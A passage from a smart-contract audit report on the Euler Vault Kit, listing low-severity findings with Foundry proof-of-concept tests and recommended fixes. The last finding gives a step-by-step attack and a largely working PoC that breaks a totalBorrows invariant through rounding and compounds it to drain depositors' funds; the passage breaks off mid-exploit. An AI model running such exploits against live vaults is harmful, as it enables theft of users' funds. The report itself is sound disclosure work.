+
+        emit log_named_decimal_uint("debt balance of liquidator                =", eTST.debtOf(liquidator),
↪  18);
+        emit log_named_decimal_uint("debtValue of liquidator                   =", newDebtAssetPrice *
↪  eTST.debtOf(liquidator) / 1e18, 18);
+        emit log_named_decimal_uint("collateral value received by liquidator    =", collateralDroppedPrice *
↪  (eTST3.balanceOf(liquidator) - prevBal1) / 1e18, 18);
+        emit log_named_decimal_uint("collateral balance received by liquidator  =",
↪  eTST3.balanceOf(liquidator) - prevBal1, 18);
+        emit log_named_decimal_uint("liquidator's total collateralAdjustedValue =", collateralValueL, 18);
+        emit log_named_decimal_uint("remaining debt of borrower                =", eTST.debtOf(borrower),
18);
+        emit log_named_decimal_uint("collateral balance of borrower            =",
↪  eTST3.balanceOf(borrower), 18);
+
+
+        console.log("\n\n============================== Case_2 (Reality)
↪  ==============================================\n");
+
+        vm.revertTo(snapshot);
+        newDebtAssetPrice = 1e18; // Case_2 (no change)
+
+        oracle.setPrice(address(assetTST3), unitOfAccount, collateralDroppedPrice);
+        oracle.setPrice(address(assetTST), unitOfAccount, newDebtAssetPrice);
+
+        startHoax(liquidator);
+
+        evc.enableCollateral(liquidator, address(eTST3));
+        evc.enableController(liquidator, address(eTST));
+
+        assetTST3.mint(liquidator, type(uint256).max);
+        assetTST3.approve(address(eTST3), type(uint256).max);
+        eTST3.deposit(depositInitialAmt, liquidator);
+
+        prevBal1 = eTST3.balanceOf(liquidator);
+        eTST.liquidate(borrower, address(eTST3), type(uint256).max, 10e18); // @audit-info : user has
↪  provided `minYieldBalance = 10 tokens`
+
+        (collateralValueL, liabilityValueL) = eTST.accountLiquidity(liquidator, false);
+
+        emit log_named_decimal_uint("debt balance of liquidator                =", eTST.debtOf(liquidator),
↪  18);
+        emit log_named_decimal_uint("debtValue of liquidator                   =", newDebtAssetPrice *
↪  eTST.debtOf(liquidator) / 1e18, 18);
+        emit log_named_decimal_uint("collateral value received by liquidator    =", collateralDroppedPrice *
↪  (eTST3.balanceOf(liquidator) - prevBal1) / 1e18, 18);
+        emit log_named_decimal_uint("collateral balance received by liquidator  =",
↪  eTST3.balanceOf(liquidator) - prevBal1, 18);
+        emit log_named_decimal_uint("liquidator's total collateralAdjustedValue =", collateralValueL, 18);
+        emit log_named_decimal_uint("remaining debt of borrower                =", eTST.debtOf(borrower),
18);
+        emit log_named_decimal_uint("collateral balance of borrower            =",
↪  eTST3.balanceOf(borrower), 18);
```

```
+    }
 }
```

Output:

```
Ran 1 test for test/unit/evault/modules/Liquidation/basic.t.sol:LiquidationUnitTest
[PASS] test_t0x1c_incompleteSlippage() (gas: 4877933)
Logs:

============================== Case_1 (Liquidator's Expectation) ==============================================

  debt balance of liquidator                =: 5.950413223140495861
  debtValue of liquidator                   =: 6.545454545454545447    <-------
  collateral value received by liquidator   =: 8.000000000000000000
  collateral balance received by liquidator  =: 10.000000000000000000   --------> equals 10 tokens i.e.
↪  `minYieldBalance` hence tx does not revert.
  liquidator's total collateralAdjustedValue =: 7.200000000000000007    <------- Ample gap between this and
↪  the above debtValue. Liquidator is quite safe from liquidation.
  remaining debt of borrower                =: 0.000000000000000000
  collateral balance of borrower            =: 0.000000000000000000


============================== Case_2 (Reality) ===============================================

  debt balance of liquidator                =: 7.200000000000000000
  debtValue of liquidator                   =: 7.200000000000000000    <------- higher debtValue than Case_1;
↪  lower profits. Might even be a loss after gas costs.
  collateral value received by liquidator   =: 8.000000000000000000
  collateral balance received by liquidator  =: 10.000000000000000000   --------> equals 10 tokens i.e.
↪  `minYieldBalance` hence tx does not revert.
  liquidator's total collateralAdjustedValue =: 7.200000000000000007    <------- Precariously close to the
↪  above debtValue. Liquidator can be liquidated even if a slight negative price movement happens in next few
↪  seconds.
  remaining debt of borrower                =: 0.000000000000000000
  collateral balance of borrower            =: 0.000000000000000000
```

Recommendation: Allow the caller to specify the lowest `min_CollateralValue_By_DebtValue_Ratio` they are comfortable with and also the deadline timestamp. If either are violated, revert the transaction.

3.1.44 `transferBalance()` might send incorrect balance to the balance tracker

Submitted by mt030d, also found by neumo, lukaprini and Merkle Bonsai

Severity: Low Risk

Context: BalanceUtils.sol#L96

Description: When `from` equals `to` and the balance tracker is enabled, `transferBalance()` will send `newFromBalance` to the `balanceTracker.balanceTrackerHook()` call. However, it should send `newToBalance`, which is the actual final balance for the from/to address.

Since the callers of `transferBalance()` in the EVK do not allow self-transfer, this issue does not pose a security risk for the EVK. However, developers should be aware of this potential issue when building other products based on this internal function.

Recommendation: Update `transferBalance()` as follows:

```
- if (fromBalanceForwarderEnabled) {
+ if (fromBalanceForwarderEnabled && from != to) {
      balanceTracker.balanceTrackerHook(from, newFromBalance.toUint(), isControlCollateralInProgress());
  }

- if (toBalanceForwarderEnabled && from != to) {
+ if (toBalanceForwarderEnabled) {
      balanceTracker.balanceTrackerHook(to, newToBalance.toUint(), false);
  }
```

3.1.45 Setting `forfeitRecentReward` during balance increase would actually grant the user more rewards

Submitted by 0xa5df, also found by ladboy233 and pep7siup

Severity: Low Risk

Context: TrackingRewardStreams.sol#L33

Description: When `forfeitRecentReward` is set to true - the contract behaves as if the balance was updated retroactively since last update to `distributionStorage.lastUpdated`. In case this is called during a balance increase that would mean we actually give the user more rewards at the expense of other users rather than forfeiting the rewards. Which is the opposite of what this is intended to do.

Recommendation: We can address this via code - reverting in case it's set during balance increase, or just ignoring this flag. Or we can leave as it as is and address this via better documentation to prevent this kind of behavior.

3.1.46 Inconsistent Duration Validation

Submitted by atoko

Severity: Low Risk

Context: BaseRewardStreams.sol#L19, BaseRewardStreams.sol#L126

Description: The current validation logic in the BaseRewardStreams contract for EPOCH_DURATION does not align with the specified requirement that epochs must be longer than 1 week (7 days). Specifically, the contract checks _epochDuration < MIN_EPOCH_DURATION, which excludes durations exactly equal to 7 days (604800 seconds). This inconsistency may lead to unintended behavior where epochs of exactly 7 days are rejected despite being valid according to project specifications.

Proof of concept: The constructor of the `BaseRewardStreams` contract contains the following validation logic:

```
constructor(address _evc, uint48 _epochDuration) EVCUtil(_evc) {
    if (_epochDuration < MIN_EPOCH_DURATION || _epochDuration > MAX_EPOCH_DURATION) {
        revert InvalidEpoch();
    }

    EPOCH_DURATION = _epochDuration;
}
```

The issue lies in `_epochDuration < MIN_EPOCH_DURATION`, which excludes epochs exactly equal to MIN_EPOCH_DURATION (7 days). This contradicts the comment stating that `EPOCH_DURATION` must be longer than 1 week but not longer than 10 weeks (`MAX_EPOCH_DURATION`):

```
/// @dev Must be longer than 1 week, but no longer than 10 weeks.
```

Consequently, epochs of exactly 7 days are incorrectly included by the contract.

Recommendation:: To rectify this inconsistency and ensure compliance with project requirements:

Adjust the validation condition in the constructor from `_epochDuration < MIN_EPOCH_DURATION` to `_epochDuration <= MIN_EPOCH_DURATION`.

```
constructor(address _evc, uint48 _epochDuration) EVCUtil(_evc) {
    if (_epochDuration <= MIN_EPOCH_DURATION || _epochDuration > MAX_EPOCH_DURATION) {
        revert InvalidEpoch();
    }

    EPOCH_DURATION = _epochDuration;
}
```

This way the `EPOCH_DURATION` will be longer that 1 week to align with the comment.

3.1.47 A malicious vault governor can prevent the Euler DAO from receiving their entitled protocol fee share

Submitted by mt030d

Severity: Low Risk

Context: Governance.sol#L216-L249

Description: The `convertFees()` function is essential for transferring accrued fee shares to `feeReceiver`s, who can then redeem underlying assets using these shares. There are two `feeReceiver`s in the `convertFees()` function:

- `governorReceiver`, specified by the vault governor.
- `protocolReceiver`, along with its `protocolFeeShare`, are obtained from the `ProtocolConfig` contract.

The Euler DAO can update the `protocolReceiver` and `protocolFeeShare` in the `ProtocolConfig` contract. Vaults built on EVK should respect this information and distribute the fees accordingly.

However, a malicious vault governor could DOS the `convertFees()` function, preventing the Euler DAO from receiving their entitled protocol fee shares from this vault. They can achieve this by turning on the hook flag for `OP_CONVERT_FEES` and setting `hookTarget` to the zero address. This causes the `convertFees()` call to enter the `callHook()` logic and subsequently fail.

Although it also temporarily prevents the `governorReceiver` from converting their fee shares, however, the vault governor can re-enable the `convertFees()` function at any time. They can exploit this to their advantage.

For example, if the Euler DAO proposes increasing the `protocolFeeShare` from 30% to 40% for a certain period, the vault governor can DOS the `convertFees()` before the proposal is executed. The fees are temporarily locked in the vault but continue to accrue. When the Euler DAO later decreases the `protocolFeeShare` to 30%, the vault governor can re-enable the `convertFees()` and convert the accrued fees. As a result, the Euler DAO receives only 30%, instead of 40%, of the fees accrued during this period.

Proof of concept:

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";
import "../../../src/EVault/shared/Errors.sol";

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    function setUp() public override {
        super.setUp();
    }

    function test_POC() external {
        // check that convertFees is ok in normal scenario
        eTST.convertFees();

        // show that vault governor can DOS convertFees
        eTST.setHookConfig(address(0), OP_CONVERT_FEES);
        vm.expectRevert(Errors.E_OperationDisabled.selector);
        eTST.convertFees();
    }
}
```

To run the proof of concept, put the above file in `test/unit/evault/POC.t.sol`, and use the command `forge test --mt test_POC`.

Recommendation: Since `convertFees()` is crucial for converting fees to the Euler DAO, it should not be DOSed, even by the vault governor. Consider removing the vault governor's ability to install hooks for `OP_CONVERT_FEES`.

3.1.48 Insufficient Natspec for the input vars of `slope1_` and `slope2_` can lead to mis-config of the contract

Submitted by Chad0

Severity: Low Risk

Context: IRMLinearKink.sol#L16

Description: From Interface `IIRM :: computeInterestRate()` and `IIRM :: computeInterestRateView()` we can see the return value of `ir` is expected to be scaled by `1e27`. In addition, in Line#61, 63 and 69 of contract `IRMLinearKink :: computeInterestRateInternal()` as below:

```
// ...
uint256 ir = baseRate;
if (utilization <= kink) {
    ir += utilization * slope1;
} else {
    ir += kink * slope1;
    uint256 utilizationOverKink;
    unchecked {
        utilizationOverKink = utilization - kink;
    }

    ir += slope2 * utilizationOverKink;

}

return ir;
// ...
```

We can see that the `slope1` and `slope2` go into calculation directly with `utilization` or `kink` which are in `type(uint32).max` scale. That means the input values of `slope1` and `slope2` need to be scaled up by `1e27` and then scaled down by `type(uint32).max`, in order to guarantee the result `ir` is in `1e27` scale.

However, none of these details are communicated in the code, and this will make it very easy for the users of this product to pass in wrong values for `slope1` and `slope2`.

Recommendation: Document these detailed requirements on the inputs in the Natspec. Or, even better just add some relevant code for the conversion or some helper functions in the body of the contract, so this modularized product can be more user friendly and less prune to mistakes. There is no reason to pass such burden onto the users' shoulder.

3.1.49 `indexed` Keyword in Events Causes Data Loss for String Variables

Submitted by Matin6517

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: When the `indexed` keyword is used for reference type variables such as dynamic arrays or strings, it will return the hash of the mentioned variables. Thus, the event which is supposed to inform all of the applications subscribed to its emitting transaction (e.g. front-end of the DApp, or the backend listeners to that event), would get a meaningless and obscure 32 bytes that correspond to keccak256 of an encoded string. This may cause some problems on the DApp side and even lead to data loss. For more information about the indexed events, check here.

The problem exists inside the SequenceRegistry contract. The event `SequenceIdReserved` is defined in such a way that the designator ID string is indexed. With doing so, the expected parameter wouldn't be emitted properly and front-end would get meaningless one-way hashes.

Proof of concept: Consider this scenario as an example:

1. The function `reserveSeqId()` is called.
2. Inside the function `reserveSeqId()` we expect to see the the string of `designator`:

```
function reserveSeqId(string calldata designator) external returns (uint256) {
    uint256 seqId = ++counters[designator];

    emit SequenceIdReserved(designator, seqId, msg.sender);

    return seqId;
}
```

3. But as the event topic is defined as `indexed` we'll get an obscure 32-byte hash and listeners will not be notified properly. Thus, the symbol of the token would be lost in the DApp.

For test purpose one can run this test file:

```
event SequenceIdReserved(string indexed designator, uint256 indexed id, address indexed caller);
event SequenceIdReserved1(string designator, uint256 indexed id, address indexed caller);

function test_emitter() public {

    string memory sampleString = "0xdead";
    uint seqId = 5;

    emit SequenceIdReserved(sampleString, seqId, msg.sender);
    emit SequenceIdReserved1(sampleString, seqId, msg.sender);
}
```

Outputs of test:

- SequenceIdReserved:

```
{
    "from": "0x1ecF8deF93460AeA1aEe242e86814dbD95a1e010",
    "topic": "0x0d86caf31c60e8930bb317807498caf621639c94c6a4008b7447e34ee9bc8ada",
    "event": "SequenceIdReserved",
    "args": {
        "0": {
            "_isIndexed": true,
            "hash": "0x56d326a8ef1596f3d87397c6c7b7b9dacaf8685ed97ddd31f0aa04294eaf9fca"
        },
        "1": "5",
        "2": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"
    }
}
```

- SequenceIdReserved1:

```
{
    "from": "0x1ecF8deF93460AeA1aEe242e86814dbD95a1e010",
    "topic": "0x241943079a12cf96ea6c5014d44b3dd3b273cd1d1ab2e0d99a67e71a90e4e200",
    "event": "SequenceIdReserved1",
    "args": {
        "0": "0xdead",
        "1": "5",
        "2": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4",
        "designator": "0xdead",
        "id": "5",
        "caller": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"
    }
}
```

As you can see, the intended outputs wouldn't be emitted if the indexed keyword is used for designator string.

Recommendation: Consider modifying the event `SequenceIdReserved` inside the contract `SequenceRegistry.sol`:

```
- event SequenceIdReserved(string indexed designator, uint256 indexed id, address indexed caller);
+ event SequenceIdReserved(string designator, uint256 indexed id, address indexed caller);
```

3.1.50 `registerReward()` can be DoS-ed after a very long time due to block gas limit

Submitted by 0xa5df

Severity: Low Risk

Context: BaseRewardStreams.sol#L176

Description: This is similar to issue L-5 from `MixBytes()`. However, the impact that was identified there was only a high gas cost. It's important to note that after a very long time (doing a rough estimation, it seems like at least a few dozens of years with epoch >= 1 week) this might not just cost lots of gas but exceed the block gas limit and therefore wouldn't be possible to register any further rewards.

Recommendation: Add this to the documentation.

3.1.51 Failing withdraw and redeem from `EulerSavingsRate` with enabled controller

Submitted by Auditten, also found by 0xa5df, mt030d, neumo, Anurag Jain and 0xpiken

Severity: Low Risk

Context: EulerSavingsRate.sol#L149-L159, EulerSavingsRate.sol#L16-L17, EulerSavingsRate.sol#L165-L175, EulerSavingsRate.sol#L72-L84, EulerSavingsRate.sol#L86-L98, whitepaper.md#L701

Description: `EulerSavingsRate` overrides functions `maxRedeem` and `maxWithdraw` making them to underestimate the possible amount of assets to withdraw to 0, in case `owner` has enabled controller. This makes it impossible to use `withdraw` and `redeem` functions with the controller enabled, even if the `owner` doesn't have any outstanding debt. The issue arises due to the fact that `withdraw` and `redeem` make internal calls `super.withdraw`/`super.redeem` which at first check that an amount to withdraw doesn't exceed maximum allowed value overrided by `maxRedeem` and `maxWithdraw` to 0.

This can't be the expected behaviour due to the following independent statements from the documentation:

1. In the whitepaper and comment to the `EulerSavingsRate` contract it's stated that "on withdraw, redeem and transfers the accountStatus of the user is checked by calling the EVC", "the account status checks **must** be requested for the account which health might be negatively affected". In the current implementation account status checks are redundant because non-zero amount can be withdrawn only from accounts without controller for which status checks will be guaranteed to pass.
2. In comments to maxRedeem and maxWithdraw functions it's written that they "**underestimate** the return amount to zero", but in fact they correctly estimate the amount that will be possible to withdraw/redeem using `withdraw`/`redeem` functions.

Impact: This issue has several impacts:

1. `EulerSavingsRate` can be actively used by contract-bots, that continuously monitor different passive Vaults and deposit to the most attractive ones. Such contracts could use all its different subaccounts to make borrow from one specific Vault and therefore can enable controllers forever and don't have functionality to neither disable controller, nor transfer gained shares of `EulerSavingsRate` to other addresses. Considering, that `EulerSavingsRate` is not being used as a proxy and therefore is not upgreadable, in such scenario all contract-bot shares will be frozen in the `EulerSavingsRate` forever, leading to the permanent freeze of funds.
2. Dramatic decrease of user experience and increase of gas costs. As direct withdrawals are not possible, some workarounds have to be found. All of them require several subtransactions in batch (e.g. returning debt, disabling controller, withdrawing, enabling controller once again and borrowing, or making transfer to other EOA, withdrawing from it, and returning assets back to the original user), which sometimes can be even impossible (e.g. debt can't be always easily returned), but in any case makes withdrawals much more complex and gas-ineffective.

Likelihood: This issue has different likelihoods for two impacts described above:

1. The likelihood of facing a permanent freeze of funds is medium because the contract-bots, which don't have the functionality to use any of the workarounds, are a minority of users, but still a non-negligable part.

2. For regular users the likelihood of facing this issue is very high, because users that actively use lending platforms usually have active controller, and any withdrawal with enabled controller will fail.

Proof of concept: Should be run from `euler-vault-kit/test/unit/esr`:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.20;

import "./lib/ESRTest.sol";
import {IVault} from "ethereum-vault-connector/interfaces/IVault.sol";

contract NaiveController {
    // account check always passes successfully in naive controller
    function checkAccountStatus(address, address[] calldata) public pure returns(bytes4) {
        return IVault.checkAccountStatus.selector;
    }
}

contract POC_Test is ESRTest {
    address naiveController;
    error ERC4626ExceededMaxWithdraw(address owner, uint256 assets, uint256 max);
    error ERC4626ExceededMaxRedeem(address owner, uint256 shares, uint256 max);

    function setUp() public override {
        super.setUp();
        naiveController = address(new NaiveController());
    }

    function testWithdrawRedeemPOC() public {
        address regularUser = makeAddr("regularUser");
        doDeposit(regularUser, 100 ether);
        vm.startPrank(regularUser);
        esr.withdraw(50 ether, regularUser, regularUser);
        esr.redeem(50 ether, regularUser, regularUser);
        // successful withdraw/redeem of all assets with no enabled controller
        assertEq(asset.balanceOf(regularUser), 100 ether);
        vm.stopPrank();

        address contractVictim = makeAddr("contractVictim");
        doDeposit(contractVictim, 100 ether);
        vm.startPrank(contractVictim);
        evc.enableController(contractVictim, naiveController);
        vm.expectRevert(abi.encodeWithSelector(ERC4626ExceededMaxWithdraw.selector, contractVictim, 50 ether,
↪  0));
        esr.withdraw(50 ether, contractVictim, contractVictim);
        vm.expectRevert(abi.encodeWithSelector(ERC4626ExceededMaxRedeem.selector, contractVictim, 50 ether,
0));
        esr.redeem(50 ether, contractVictim, contractVictim);
        // failed withdraw/redeem with enabled controller, even with no outstanding debt and successful status
↪  check
        assertEq(asset.balanceOf(contractVictim), 0 ether);
        vm.stopPrank();
    }
}
```

Recommendation: Replace use of `super.withdraw()` and `super.redeem()` to custom implementation that uses `super.maxWithdraw()` and `super.maxRedeem()` instead of overrided ones:

```
  function withdraw(uint256 assets, address receiver, address owner)
      public
      override
      nonReentrant
      requireAccountStatusCheck(owner)
      returns (uint256)
  {
      // Move interest to totalAssets
      updateInterestAndReturnESRSlotCache();
-     return super.withdraw(assets, receiver, owner);
+     uint256 maxAssets = super.maxWithdraw(owner);
+     if (assets > maxAssets) {
+         revert ERC4626ExceededMaxWithdraw(owner, assets, maxAssets);
+     }
+
+     uint256 shares = previewWithdraw(assets);
+     _withdraw(_msgSender(), receiver, owner, assets, shares);
+
+     return shares;
  }
```

Function `redeem` should be fixed analogically.

3.1.52 Incorrect rounding can lead to non-zero `totalBorrows` with zero debt

Submitted by Auditten

Severity: Low Risk

Context: BorrowUtils.sol#L16-L22, BorrowUtils.sol#L59-L73, InvariantsSpec.t.sol#L122

Description: Let's assume that in the EVault at some moment t_1 there're n borrowers, where the i-th borrower has debt a_i units of `Owed`, and $B = \text{vaultCache.totalBorrows} = \sum_{i=1}^{n} a_i$, $X = \text{vaultCache.interestAccumulator}$. Consider some later moment t_2 and let's define $Y = \text{vaultCache.interestAccumulator}$. During vault storage update `totalBorrows` will be recalculated as $B' = \left\lfloor \frac{B \cdot Y}{X} \right\rfloor$, and each separate debt calculated inside getCurrentOwed() will be equal to $a_i' = \left\lfloor \frac{a_i \cdot Y}{X} \right\rfloor$.

Then the following inequality will hold: $(B' - n) \leq \sum_{i=1}^{n} a_i' \leq B'$, i.e. `totalBorrows` can be bigger then the real sum of individual debts. The issue arises due to the fact that rounding down each separate summand can lose 1 unit of `Owed` (n units total), but `totalBorrows` will always lose maxium 1 unit of `Owed`.

This vulnerability can be easily exploited on the empty Vaults: an attacker can perform a series of deposits, borrows, repays and withdrawals that leads to total zero debt of all users, but non-zero totalBorrows, breaking one of the most critical system invariants (`sum of all debt == 0 <=> totalBorrows == 0`). Let's denote $D = 2^{\text{INTERNAL\_DEBT\_PRECISION\_SHIFT}} = 2^{31}$ and let's assume for the simplicity that $X = D + 1, Y = D + 2$ (in the PoC it'll be shown how an attacker can make extra deposits to get needed interest rate from IRM and therefore get suitable Y for the attack). Then the following series of operations can be performed:

1. Moment t_1:
   - Attacker deposits n wei of assets to Vault.
   - Attacker borrows 1 wei of asset from his $2 \leq n \leq 256$ subaccounts.
   - We have $a_i = D$ $(1 \leq i \leq n)$, $B = n \cdot D$.
2. Moment t_2 (next block):
   - During vault storage update `totalBorrows` is recalculated as $B' = \left\lfloor \frac{B \cdot Y}{X} \right\rfloor = \left\lfloor \frac{n \cdot D \cdot (D+2)}{D+1} \right\rfloor = \left\lfloor \frac{n \cdot D \cdot (D+1) + n \cdot D}{D+1} \right\rfloor = n \cdot D + \left\lfloor \frac{n \cdot D}{D+1} \right\rfloor = n \cdot D + (n-1)$.
   - All n users make repay of 1 wei of asset. During repay the following will happen in `decreaseBorrow()`:
     - line 60. $\text{owedExact} = a_i' = \left\lfloor \frac{a_i \cdot Y}{X} \right\rfloor = \left\lfloor \frac{D \cdot (D+2)}{(D+1)} \right\rfloor = \left\lfloor \frac{D \cdot (D+1) + D}{(D+1)} \right\rfloor = D + \left\lfloor \frac{D}{(D+1)} \right\rfloor = D$.
     - line 61 $\text{owed} = \left\lceil \frac{a_i'}{D} \right\rceil = \left\lceil \frac{D}{D} \right\rceil = 1$ (ceiling has no affect due to exact division).

- line 65 owedRemaining $= 0$.
- line 68 `totalBorrows` is decreased by D.

- Attacker withdraws his `n` deposited assets.

As a result of this attack Vault's storage now contains `totalBorrows = (n - 1)`, with all other values like `cash`, `totalShares` and total debt equal to zero. Therefore the critical invariant is not satisfied that in turn can lead to catastrophic consequences, which are described in more detail in the next section.

Impact: Despite making `totalBorrows` equal to only several `Owed` units, exponentiation of interest rate can make this value very high in the reasonable time. This fact is enhanced by the state in which IRM is working: it has an abnormal position with `utilization = type(uint32.max)` (100%) because `totalAssets = cash + borrows` consists of only borrows. Therefore IRM can return such rate that APY will be equal to `MAX_ALLOWED_INTEREST_RATE` which is 10^6% APY.

Let's consider a scenario where a governor creates a Vault with underlying USDC token, but due to small popularity users stop using this Vault, leaving this Vault empty. Then an attacker can:

1. At moment 0 perform an attack described above with `n` $= 23$ subaccounts, making `totalBorrows = 22 Owed`.
2. After 3.75 years passed under maximum 10^6% APY `totalBorrows` will turn into $22 \cdot 10^{15}$ `Owed` which is $\sim 10^7$ assets of USDC, i.e 10 USDC. Now attacker can deposit 1 USDC = 10^6 Assets, getting $\sim 10^5$ shares.
3. After 2 more years passed, `totalBorrows` will turn into $10^7 \cdot 10^8 = 10^{15}$ Assets = 10^9 USDC, which after minting new shares from fees will make attacker's balance equal to $\sim 83 \cdot 10^6$ USDC.

Now there're two ways for the attacker to withdraw their funds:

- He can advertise this Vault by putting some tempting rewards into Rewards Streams. As soon as some bots notice such tempting reward, they can deposit their own funds into the Vault (they will not recognize it as "hacked" because it was registred through the GenericFactory by trusted governor). As soon as someone deposits, attacker can immediately withdraw his shares, stealing all other depositors' funds.
- If the Vault was popular before, its shares can still be acceptable as a collateral in other active Vaults. In such a case, attacker can borrow from other Vault with all own shares as a collateral, stealing a big portion of funds from other Vault. The same as in previous scenario, other Vault governors will not be aware of the attacker behaviour and therefore consider this Vault trusted and don't disable it.

In such scenario starting from 1 USDC, attacker can make his balance equal to 83 millions of USDC with two options of stealing these funds from other users.

Likelihood: Initial atack that breaks invariant can be performed on any empty Vault, which includes two use cases:

1. Perform an attack on the earlier popular Vault which then lose its popularity. In such situation all borrowers sooner or later return their debt or will be liquidated by bots, and all depositors will withdraw their funds due to not gaining interest from borrowers. Here the likelihood of becoming unpopular Vault is smaller, but if such situation happens, it's very likely that nobody else starts using the Vault during the period of later attack.
2. Perform an attack on newly created Vault, that is still empty. Always possible, but decreases likelihood that after attack nobody else will use Vault.

After breaking invariant, in order for the attack to be profitable, the amount `n Owed` multiplied by the maximum possible interest grow (which is approximately 10^{23}, after which `interestAccumulator` stops updating due to overflows) should be worthwhile. Using `n` $= 23$ will result in $\sim \frac{22 \cdot 10^{23}}{2^{31}}$ which is around 10^{15} Assets. Note, that there're many tokens for which 10^{15} Assets has a worthwhile price. For example, for WBTC it will be $660 \cdot 10^9$\$, for USDC and USDT it will be 10^9\$, for TONCOIN it will be $8 \cdot 10^6$\$, and so on. Note, that increasing value of `n` in the initial attack (if needed for large `n` the attack can be split in several blocks), can increase the maximum possible profit by several orders of magnitude, or decrease the waiting time for the smaller but still reasonable profit.

Therefore a relatively low likelihood of success on one specific Vault can be fairly compensated by high attacker's incentive and possibility of trying this attack on many different Vaults, that results in the medium likelihood of a successing at least one attack.

Proof of concept: Should be run from `euler-vault-kit/test/unit/evault`:

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";
import {IRMLinearKink} from "../../../src/InterestRateModels/IRMLinearKink.sol";

interface IIRM {
    function slope1() external view returns(uint256);
}

contract POC_Test is EVaultTestBase {
    error MyLOG(uint256 assets);

    using TypesLib for uint256;

    uint256 constant n = 23; // number of subaccounts to use
    uint256 constant D = 2 ** INTERNAL_DEBT_PRECISION_SHIFT; // Asset to Owed multiplier
    uint256 constant INIT_ASSET_TST_FUNDS = 1e6; // needed amount for the attack, 1 USDC
    uint256 constant INIT_ASSET_TST2_FUNDS = 3 * n;
    uint256 constant ETST2_CASH = 50 * (10 ** 12); // amount to steal, 50 millions USDC
    uint256 constant RATE_PER_SECOND = 37806943531344379; // rate that results in ~ (D + 2) / (D + 1) per block
    uint256 constant PERCENT = 10 ** 16; // used by assertApproxEqRel
    address attacker;
    address regularUser; // all users of eTST2 vault, that together deposited ETST2_CASH to it
    uint256 neededUtilization; // utilization needed at the end of first block for the attack
    uint256 neededDepositCash; // deposit needed to make specific utilization

    function getSubaccount(uint256 subaccount) internal view returns(address) {
        return address(uint160(attacker) ^ uint160(subaccount));
    }

    function setUp() public override {
        super.setUp();

        oracle.setPrice(address(assetTST), unitOfAccount, 1e18);
        oracle.setPrice(address(eTST2), unitOfAccount, 1e18);
        eTST.setLTV(address(eTST2), 0.9e4, 0.9e4, 0);
        eTST2.setLTV(address(eTST), 0.9e4, 0.9e4, 0);
        uint256 slope1 = IIRM(eTST.interestRateModel()).slope1();
        // updating model to the same rate on adequate values of utilization, and higher rate on extreme
↪   utilization
        eTST.setInterestRateModel(address(new IRMLinearKink(0, slope1, 679556464112, type(uint32).max / 10 *
↪   8)));

        attacker = makeAddr("attacker");
        regularUser = makeAddr("regularUser");
        neededUtilization = RATE_PER_SECOND / slope1;
        neededDepositCash = n * ((2 ** 32 - 1) - neededUtilization) / neededUtilization;

        assetTST.mint(attacker, INIT_ASSET_TST_FUNDS);
        assetTST2.mint(attacker, INIT_ASSET_TST2_FUNDS);
        assetTST2.mint(regularUser, ETST2_CASH);

        vm.startPrank(regularUser);
        assetTST2.approve(address(eTST2), type(uint256).max);
        eTST2.deposit(ETST2_CASH, regularUser);
        vm.stopPrank();
    }

    function breakInvariant() internal {
        assetTST.approve(address(eTST), type(uint256).max);
        assetTST2.approve(address(eTST2), type(uint256).max);
        // setting up subaccounts, so that they can make borrows
        for (uint256 i = 1; i <= n; ++i) {
            address subaccount = getSubaccount(i);
            eTST2.deposit(3, subaccount);
            evc.enableCollateral(subaccount, address(eTST2));
```

```
            evc.enableController(subaccount, address(eTST));
        }

        // deposit some small amount of cash to allow borrows and set desired interestRate
        eTST.deposit(neededDepositCash + n, attacker);
        // make borrow of 1 wei to each subaccount
        for (uint256 i = 1; i <= n; ++i) {
            address subaccount = getSubaccount(i);
            evc.call(address(eTST), subaccount, 0, abi.encodeWithSignature("borrow(uint256,address)", 1,
↪   attacker));
        }
        // jumping to the next block
        vm.warp(block.timestamp + 12);
        // due to specific interest rate, manipulated by neededDepositCash, totalBorrows were increased by (n
↪   - 1) Owed
        assertEq(eTST.totalBorrowsExact(), n * D + n - 1);
        for (uint256 i = 1; i <= n; ++i) {
            address subaccount = getSubaccount(i);
            // each separate debt didn't chane
            assertEq(eTST.debtOfExact(subaccount), D);
            // fully repaying debt and withdrawing collateral
            eTST.repay(1, subaccount);
            assertEq(eTST.debtOfExact(subaccount), 0);
            evc.call(address(eTST2), subaccount, 0,
↪   abi.encodeWithSignature("withdraw(uint256,address,address)", 3, attacker, subaccount));
        }
        // withdrawing our first deposit
        eTST.redeem(type(uint256).max, attacker, attacker);
        // invariant is broken: attacker has all his initial funds, but Vault has non-zero borrows and zero
↪   total debt
        assertEq(eTST.totalBorrowsExact(), n - 1);
        assertEq(eTST.cash(), 0);
        assertEq(eTST.totalSupply(), 0);
        assertEq(assetTST.balanceOf(attacker), INIT_ASSET_TST_FUNDS);
        assertEq(assetTST2.balanceOf(attacker), INIT_ASSET_TST2_FUNDS);
    }

    function waitBorrowsExponentialGrow() internal {
        // waiting 3.75 years to deposit small amount of funds
        vm.warp(block.timestamp + 3.75 * 365.2425 * 86400);
        assertApproxEqRel(eTST.totalBorrows(), 10.2 * (10 ** 6), PERCENT);
        eTST.deposit(INIT_ASSET_TST_FUNDS, attacker);
        assertApproxEqRel(eTST.balanceOf(attacker), 89000, PERCENT);

        // waiting 2 years when price of our shares will grow significantly
        vm.warp(block.timestamp + 2 * 365.2425 * 86400);
        // our 10^6 deposited assets turned into 83 * (10^12) assets
        assertApproxEqRel(eTST.previewRedeem(eTST.balanceOf(attacker)), 83 * (10 ** 12), PERCENT);
        assertApproxEqRel(eTST.totalBorrows(), 1025 * (10 ** 12), PERCENT);
    }

    function stealFunds() internal {
        // enabling our shares as a collateral and enabling controller to make borrow
